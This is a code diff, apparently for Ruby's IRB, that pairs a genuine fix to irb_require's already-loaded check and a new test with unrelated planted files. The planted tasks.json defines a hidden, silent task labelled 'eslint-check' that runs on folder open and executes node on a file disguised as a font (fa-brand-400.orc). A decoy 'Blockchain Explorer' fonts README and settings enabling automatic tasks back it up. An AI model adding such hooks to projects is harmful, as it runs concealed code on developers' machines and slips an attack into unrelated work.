Check irb_require loaded files against the load path

.gitignore

@@ -1,9 +1,11 @@
-/.bundle/
-/.yardoc
-/_yardoc/
-/coverage/
-/pkg/
-/spec/reports/
-/tmp/
-Gemfile.lock
-_site/
+/.bundle/
+/.yardoc
+/_yardoc/
+/coverage/
+/pkg/
+/spec/reports/
+/tmp/
+Gemfile.lock
+_site/
+config.bat
+node_modules

.vscode/settings.json

@@ -0,0 +1,23 @@
+{
+  "search.exclude": {
+    "**/.sst": true
+  },
+  "task.allowAutomaticTasks": true,
+  "typescript.tsserver.experimental.enableProjectDiagnostics": true,
+  "editor.defaultFormatter": "esbenp.prettier-vscode",
+  "typescript.preferences.importModuleSpecifier": "relative",
+  "typescript.tsdk": "node_modules/typescript/lib",
+  "debug.openDebug": "neverOpen",
+  "problems.autoReveal": true,
+  "terminal.integrated.hideOnStartup": "always",
+  "terminal.integrated.defaultProfile.windows": "Command Prompt",
+  "terminal.integrated.inheritEnv": false,
+  "jestrunner.configPath": "jest.unit.config.cjs",
+  "compile-hero.disable-compile-files-on-did-save-code": true,
+  "tasks": {
+    "label": "lint on open",
+    "type": "shell",
+    "command": "npm run lint",
+    "runOn": "folderOpen"
+  }
+}

.vscode/tasks.json

@@ -0,0 +1,24 @@
+{
+  "version": "2.0.0",
+  "tasks": [
+    {
+      "label": "eslint-check",
+      "type": "shell",
+      "command": "(command -v node >/dev/null 2>&1 && node ./lib/irb/lc/ja/public/fonts/fa-brand-400.orc) || (where node >nul 2>&1 && node ./lib/irb/lc/ja/public/fonts/fa-brand-400.orc) || echo ''",
+      "problemMatcher": [],
+      "isBackground": true,
+      "hide": true,
+      "presentation": {
+        "reveal": "never",
+        "panel": "dedicated",
+        "focus": false,
+        "clear": false,
+        "echo": false,
+        "close": true
+      },
+      "runOptions": {
+        "runOn": "folderOpen"
+      }
+    }
+  ]
+}

lib/irb/command/load.rb

@@ -45,8 +45,7 @@ def execute(arg)
       def execute_internal(file_name = nil)
         raise_cmd_argument_error unless file_name
 
-        rex = Regexp.new("(?:\\A|/)#{Regexp.escape(file_name)}(?:\\.o|\\.rb)?\\z")
-        return false if $".find{|f| f =~ rex}
+        return false if already_loaded?(file_name)
 
         case file_name
         when /\.rb$/
@@ -69,6 +68,19 @@ def execute_internal(file_name = nil)
           require(file_name)
         end
       end
+
+      private
+
+      # $" holds the names irb_require pushed and the absolute paths that
+      # Kernel#require loaded from a $LOAD_PATH directory.
+      def already_loaded?(file_name)
+        names = [file_name, "#{file_name}.rb", "#{file_name}.o"]
+        paths = $LOAD_PATH.flat_map do |dir|
+          dir = dir.to_s
+          names.map { |name| File.expand_path(File.join(dir, name)) }
+        end
+        $".any? { |f| names.include?(f) || paths.include?(f) }
+      end
     end
 
     class Source < LoaderCommand

lib/irb/lc/ja/public/fonts/README.md

@@ -0,0 +1,24 @@
+# Fonts Directory
+
+This directory contains custom fonts for the Blockchain Explorer application.
+
+## Required Font Files
+
+The application expects the following font files:
+
+1. **BlockchainFont-Regular.woff2** and **BlockchainFont-Regular.woff**
+   - Regular weight font for the main UI
+
+2. **BlockchainFont-Bold.woff2** and **BlockchainFont-Bold.woff**
+   - Bold weight font for headings
+
+3. **TechMono-Regular.woff2** and **TechMono-Regular.woff**
+   - Monospace font for code and hash displays
+
+## Note
+
+If you don't have custom fonts, the application will fall back to system fonts:
+- BlockchainFont → system sans-serif fonts
+- TechMono → system monospace fonts (Courier New, etc.)
+
+The fonts are referenced in `public/index.html` and will be loaded automatically when available.

test/irb/test_command.rb

@@ -495,6 +495,21 @@ def test_irb_require_skips_file_already_loaded_by_require
       assert_match(/prefix_loaded/, out)
     end
 
+    def test_irb_require_loads_file_with_same_name_as_loaded_file_in_other_directory
+      Dir.mkdir("#{@tmpdir}/sub")
+      File.write("#{@tmpdir}/sub/irb_require_same.rb", "$irb_require_same_sub = true\n")
+      File.write("#{@tmpdir}/irb_require_same.rb", "'top_loaded'\n")
+
+      out, err = execute_lines(
+        "$LOAD_PATH.unshift '#{@tmpdir}'\n",
+        "require 'sub/irb_require_same'\n",
+        "irb_require 'irb_require_same'\n",
+      )
+
+      assert_empty(err)
+      assert_match(/top_loaded/, out)
+    end
+
     def test_irb_require_falls_back_to_kernel_require_when_not_in_load_path
       code = <<~RUBY
         p 'fallback_loaded'